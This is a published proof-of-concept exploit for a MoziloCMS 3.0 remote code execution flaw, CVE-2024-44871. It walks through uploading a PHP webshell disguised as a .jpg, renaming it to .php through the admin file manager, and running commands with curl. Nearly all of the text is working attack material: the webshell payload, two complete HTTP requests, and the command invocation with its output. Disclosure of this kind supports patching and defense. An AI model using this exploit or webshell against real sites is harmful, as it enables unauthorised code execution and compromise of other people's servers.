MoziloCMS 3.0 – Remote Code Execution (RCE)
# Exploit Title: MoziloCMS 3.0 - Remote Code Execution (RCE) # Date: 10/09/2024 # Exploit Author: Secfortress (https://github.com/sec-fortress) # Vendor Homepage: https://mozilo.de/ # Software Link: https://github.com/moziloDasEinsteigerCMS/mozilo3.0/archive/refs/tags/3.0.1.zip # Version: 3.0 # Tested on: Debian # Reference: https://vulners.com/cve/CVE-2024-44871 # CVE : CVE-2024-44871 """ ################ # Description # ################ MoziloCMS version 3.0 suffers from an arbitrary file upload vulnerability in the component "/admin/index.php" which allows an authenticated attacker to execute arbitrary code on the "Files" session by uploading a maliciously crafted .JPG file and subsequently renaming its extension to .PHP using the application's renaming function. ##################### # PoC for webshell # ##################### Steps to Reproduce: 1. Login as admin 2. Go to the Files session by the left menu 3. Create a .jpg file with it content having a php web shell 4. Upload the file to the server via the upload icon and save 5. Rename the file to .php on the web server and save 6. Access webshell via this endpoint : http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php ========================== Request 1 => Upload File: # ========================== POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------186462060042780927583949521447 Content-Length: 607 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true Cookie: mozilo_editor_settings=true,false,mozilo,12px; 3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep; PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b; MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------186462060042780927583949521447 Content-Disposition: form-data; name="curent_dir" Willkommen -----------------------------186462060042780927583949521447 Content-Disposition: form-data; name="chancefiles" true -----------------------------186462060042780927583949521447 Content-Disposition: form-data; name="action" files -----------------------------186462060042780927583949521447 Content-Disposition: form-data; name="files[]"; filename="revshell.jpg" Content-Type: image/jpeg <?=`$_GET[0]`?> -----------------------------186462060042780927583949521447-- =========================== Request 2 => Rename File: # =========================== POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 98 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true Cookie: mozilo_editor_settings=true,false,mozilo,12px; 3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep; PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b; MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin action=files&newfile=revshell.php&orgfile=revshell.jpg&curent_dir=Willkommen&changeart=file_rename #################### # Webshell access: # #################### # Wenshell access via curl: curl http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php?0=whoami # Output: www-data """ |